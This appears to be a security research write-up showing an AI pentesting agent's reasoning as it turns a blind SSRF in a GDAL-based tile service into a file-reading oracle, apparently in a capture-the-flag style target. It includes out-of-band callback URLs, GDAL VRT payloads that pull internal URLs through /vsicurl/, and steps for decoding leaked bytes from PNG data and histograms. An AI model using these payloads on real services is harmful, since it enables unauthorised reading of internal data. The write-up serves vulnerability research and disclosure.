Another Byte Bites the Dust - How XBOW Turned a Blind SSRF into a File Reading Oracle

Great progress! We've confirmed that we have a working Server-Side Request Forgery (SSRF) vulnerability. The target server made requests to our interactsh domain, which is evident from the interactsh callbacks we received:

1. We got an HTTP HEAD request from the target server to our interactsh domain
2. Followed by an HTTP GET request with a Range header, trying to read bytes 0-71

The server returned a 500 error with:
`{"detail":"'/vsicurl/http://d12gh236h0ste95n4j40tyeko35ipgg8z.xfil.xbow.ltd/test_ssrf' not recognized as a supported file format."}`

This error gives us valuable information:
- The target application is trying to process our URL as a file format (likely expecting a geospatial file format like GeoTIFF)
- It's using GDAL's virtual file system (VSI) with cURL driver (/vsicurl/) to access remote files

Now that we've confirmed the SSRF is working for HTTP requests, let's try to access the target flag URL.

The current attempt with `/cog/point/0,0?url=http://[REDACTED]/` still results in the error `{"detail":"Failed to find <imageAttributes> in document."}`. This indicates that even the `/cog/point/` endpoint is trying to parse the response from the provided URL as an XML document and
expects an `<imageAttributes>` tag. This behavior seems consistent across the COG-related endpoints we've tried.

Since the application is using GDAL's `/vsicurl/` and expects a specific file format (likely a raster/geospatial format like GeoTIFF, but it's trying to parse XML first for metadata), we can try to leverage GDAL's VRT (Virtual Raster Format) files. VRT files are XML-based and can define
datasets by referencing other files, including remote ones. They are powerful and might allow us to:
1. Embed the content of the flag URL within the VRT file itself, possibly in a metadata field.
2. Or, if direct embedding doesn't work or is sanitized, use it to trigger an error message that might contain the flag content if the flag URL is used as a "source" and the parser tries to interpret it as a valid dataset.

The key is that VRT files *are* a supported format by GDAL.

Let's create a VRT file that attempts to include the flag content within a metadata tag or as a CData section. We'll use the HTTPS version of the flag URL within the VRT, hoping that GDAL's internal cURL might handle the SSL certificate issue more gracefully or differently, or that the VRT parser might not strictly enforce SSL if it's fetching a "sub-dataset". If not, we can try HTTP.

The VRT file will be very simple, just enough to be recognized as a VRT and to include our payload.

<VRTDataset rasterXSize="1" rasterYSize="1">
 <Metadata>
   <MDI key="FLAG_CONTENT">/vsicurl/https://[REDACTED]/</MDI>
 </Metadata>
 <VRTRasterBand dataType="Byte" band="1">
   <SimpleSource>
     <SourceFilename relativeToVRT="0">/vsicurl/https://[REDACTED]/</SourceFilename>
     <SourceBand>1</SourceBand>
     <SourceProperties RasterXSize="1" RasterYSize="1" DataType="Byte" BlockXSize="1" BlockYSize="1" />
     <SrcRect xOff="0" yOff="0" xSize="1" ySize="1" />
     <DstRect xOff="0" yOff="0" xSize="1" ySize="1" />
   </SimpleSource>
 </VRTRasterBand>
</VRTDataset>

Let's try one final VRT. This VRT will define a very small raster (1x1 pixel). The pixel data itself will be sourced from `/vsicurl/http://[REDACTED]/`. If the flag text is short and GDAL tries to
interpret it as raw pixel data (e.g., a single byte value for a Byte raster band), it might work, or the error in trying to cast "FLAG{...}" to a byte might be revealing.
We will use the `/cog/preview.png` endpoint, as this tries to render an image. If it tries to render "FLAG{...}" as pixel data, the resulting "image" (or error image) might contain the flag.

We've successfully fetched `output.png` (157 bytes, 64x1 pixels, 8-bit gray+alpha). This is the rendered output of our VRT file that sources its raw pixel data directly from `http://[REDACTED]/`.
The flag is embedded as pixel data in this image.

The `hexdump` shows the PNG structure. The critical part is the `IDAT` chunk, which contains the compressed pixel data.
`IDAT 08 99 3d cd 3b 0a c2 30 00 00 d0 67 b0 d1 c1 d1 43 38 98 a5 f8 41 70 71 f7 c8 82 a3 82 25 a8
57 29 42 15 4c dc 7c 17 78 a3 7d 5d 9a 79 ab 9e 3a ad 95 6c 21 7a 89 e6 4e 92 bb 22 1a 4c 25 57 1b
0f c1 d7 c7 44 90 54 37 6b 54 8d 8b ad ac 08 0a c6 82 aa 6a 0c 8e ce 7a 07 59 a7 d5 db fd cf 1f 34
79 21 3f c2 d4 e3 91`

The image is 64x1 pixels, 8-bit gray+alpha. This means each pixel has two bytes: Gray value, Alpha value.
The VRT was defined as `dataType="Byte"`, which means it reads 1 byte per "sample". For Gray+Alpha, it would read Gray, then Alpha, then Gray, then Alpha, etc.
Since the VRT's `<VRTRasterBand>` was singular and specified `dataType="Byte"`, it's likely interpreting the fetched stream as a sequence of 8-bit grayscale values. The "gray+alpha" from `file` command might be how the PNG encoder chose to save it, perhaps defaulting alpha to 255 (opaque) for each grayscale pixel read from the source.

The content of `http://[REDACTED]/` is directly translated into the pixel values. Since we set `rasterXSize="64"`, it read up to 64 bytes from the flag URL. Each byte became a grayscale pixel value.

We need to:
1. Extract the raw pixel data from the IDAT chunk.
2. Decompress it (zlib).
3. Interpret the resulting bytes as ASCII characters.

The IDAT chunk data begins after `IDAT` and its length (which is not explicitly shown in this `hexdump` snippet but is part of the PNG chunk structure). The actual compressed data starts at `08
99 ...` (assuming `08 99` is the zlib header/compression method flags). The actual pixel data in a PNG scanline is often prepended with a filter type byte (0 for none). For a 64x1 8-bit grayscale image, we expect 64 bytes of pixel data, plus 1 filter byte for the scanline. If it's Gray+Alpha, it
would be 128 bytes + 1 filter byte. The `file` command said "8-bit gray+alpha", which is 2 bytes perpixel. So, 64 pixels * 2 bytes/pixel = 128 bytes of pixel data. Plus 1 filter byte per scanline.
Total = 129 bytes after decompression.

The compressed data in the IDAT chunk is `3d cd 3b ... e3 91`. (Length of IDAT chunk content is 0x64 = 100 bytes).

Let's use Python to decompress the IDAT data and interpret it.
The IDAT chunk starts at offset 0x25 (`49 44 41 54`) in the hexdump. The actual data follows.
The length of the IDAT chunk is 0x00000064 (100 bytes), as seen at offset 0x21.
So, 100 bytes of compressed data starting from offset 0x25 + 4 (after "IDAT") = 0x29.
The compressed data is from `08 99 3d ... e3 91`. No, the `08 99` is part of it. The 100 bytes start with `08 99`.

The data appears to be:
`08 99 3d cd 3b 0a c2 30 00 00 d0 67 b0 d1 c1 d1 43 38 98 a5 f8 41 70 71 f7 c8 82 a3 82 25 a8 57 29
42 15 4c dc 7c 17 78 a3 7d 5d 9a 79 ab 9e 3a ad 95 6c 21 7a 89 e6 4e 92 bb 22 1a 4c 25 57 1b 0f c1
d7 c7 44 90 54 37 6b 54 8d 8b ad ac 08 0a c6 82 aa 6a 0c 8e ce 7a 07 59 a7 d5 db fd cf 1f 34 79 21
3f c2 d4 e3 91`
This is 100 bytes.

The Python script successfully decompressed the IDAT chunk.
- Decompressed data length: 129 bytes. This matches our expectation for a 64x1 8-bit Gray+Alpha PNG (1 filter byte + 64 pixels * 2 bytes/pixel = 129 bytes).
- Scanline filter type: 1 (Sub filter). This is important. The pixel values are not raw; they are differences from the previous pixel (or a fixed value for the first pixel).

We need to unfilter the scanline data. The filter type 1 (Sub) means:
`FilteredByte = OriginalByte - OriginalByte_of_previous_pixel` (for the same channel) `OriginalByte = FilteredByte + OriginalByte_of_previous_pixel` (modulo 256)

The `pixel_data_raw` (128 bytes) contains the filtered G, A, G, A, ... values.
Since it's Gray+Alpha, `bytes_per_pixel = 2`.
For `Sub` filter:
`Recon(x) = Filt(x) + Recon(x - bpp)` (where bpp is bytes per pixel)
For the first `bpp` bytes, `Recon(x) = Filt(x)`.

Let's unfilter the data:
`pixel_data_raw = decompressed_data[1:]`
`bpp = 2` (Gray, Alpha)
`unfiltered_pixel_data = bytearray(len(pixel_data_raw))`

For `i` from 0 to `len(pixel_data_raw) - 1`:
 If `i < bpp`:
   `unfiltered_pixel_data[i] = pixel_data_raw[i]`
 Else:
   `unfiltered_pixel_data[i] = (pixel_data_raw[i] + unfiltered_pixel_data[i - bpp]) % 256`

After unfiltering, the Gray values will be at indices `0, 2, 4, ...` of `unfiltered_pixel_data`.
These are our flag characters.

Our VRT's `VRTRawRasterBand` read the beginning of this HTML page as raw bytes.
We need to see more of this HTML page. Our VRT was `rasterXSize="64"`, so it read 64 bytes of the HTML page. The content `<html>\n<...` is consistent with this.

We need to make the VRT read more data.
- Change `rasterXSize` to a larger value, e.g., 512 or 1024, to capture more of the HTML.
- The `LineOffset` in the VRT should match `rasterXSize`.

Let's create a new VRT that attempts to read, say, the first 512 bytes.

# VRT to read 512 bytes instead of 64
vrt_content = f"""<VRTDataset rasterXSize="512" rasterYSize="1">
 <VRTRasterBand dataType="Byte" band="1" subClass="VRTRawRasterBand">
   <SourceFilename relativeToVRT="0">/vsicurl/http://[REDACTED]/</SourceFilename>
   <ImageOffset>0</ImageOffset>
   <PixelOffset>1</PixelOffset>
   <LineOffset>512</LineOffset>
   <ByteOrder>LSB</ByteOrder>
 </VRTRasterBand>
</VRTDataset>"""

Let's try this. `SourceFilename` will be `/vsicurl/http://[REDACTED]/METADATA.DIM`.
The `/cog/statistics` endpoint should then be able to calculate statistics on the ASCII values of the flag.
The `histogram` in the statistics output will show counts of each byte value (ASCII char).
This will leak the flag's characters and their frequencies. If the flag is short and unique enough, I can reconstruct it.
Or, if `/cog/preview.png` (or other image-returning endpoints) can render this VRT, it would render the flag as an image.

SUCCESS with /cog/statistics! The raw bytes were read.
The 'histogram' array in the JSON response for 'b1' will show counts of each byte value (0-255).
These byte values are the ASCII codes of the characters in the target file.
If the flag is short (e.g., < 64 chars), we can reconstruct it from the histogram.

Histogram counts: [25.0, 3.0, 6.0, 6.0, 2.0, 2.0, 4.0, 2.0, 4.0, 2.0, 2.0, 2.0, 2.0, 2.0]
Histogram bin values: [0.0, 47.0, 60.0, 62.0, 97.0, 98.0, 100.0, 101.0, 104.0, 108.0, 109.0, 111.0
116.0, 121.0]

Characters present in the first 64 bytes (from histogram, order lost): /<>abdehlmoty

This is excellent progress! The VRT with `VRTRawRasterBand` successfully read the raw bytes from
`http://[REDACTED]/METADATA.DIM` and I got the statistics:

Key findings from the histogram:
- The file is 64 bytes long (count: 64.0)
- It contains 14 unique byte values: [0, 47, 60, 62, 97, 98, 100, 101, 104, 108, 109, 111, 116, 121]
- Converting to ASCII: [null, '/', '<', '>', 'a', 'b', 'd', 'e', 'h', 'l', 'm', 'o', 't', 'y']
- There are 25 null bytes (0x00), which suggests padding or structure
- The characters include '<', '>', which strongly suggests XML content
- The characters 'a', 'b', 'd', 'e', 'h', 'l', 'm', 'o', 't', 'y' could form words like "the",
"body", "holm", etc.

The presence of '<' and '>' confirms this is XML content, which aligns with the GDAL error "Failed
to find <imageAttributes> in document." from earlier tests.

The histogram shows frequency but not order. However, I can get the raw pixel values in order by
using an endpoint that returns the actual image data or pixel values.

My primary goal now is to get the ordered sequence of the 64 bytes from the VRT. The
`/cog/point/{lon},{lat}` endpoint is the most promising for this. In a VRT defined as
`rasterXSize="64" rasterYSize="1"`, the "longitude" can be treated as the x-coordinate (0 to 63) and
"latitude" as the y-coordinate (0).

The `/cog/point` endpoint failed with `{"detail":"CRS is invalid: None"}`. This indicates that the
VRT doesn't have a proper Coordinate Reference System defined, so the point endpoint can't map
geographic coordinates to pixel positions.

Let me fix the VRT by adding a proper CRS and GeoTransform. The current VRT is missing proper
georeferencing. I need to create a new VRT that defines a proper coordinate system so that I can
query specific pixel positions.

Alternatively, I can try a different approach: create a very small VRT (like 1x1 or 8x1) and
systematically read different byte offsets from the target file by adjusting the `ImageOffset`
parameter in the `VRTRawRasterBand`. This way I can read the file byte by byte.

Let me try a different approach: creating multiple small VRT files that each read a single byte from
different offsets in the target file. This way I can use the `/cog/statistics` endpoint (which
worked before) to get the value of each individual byte.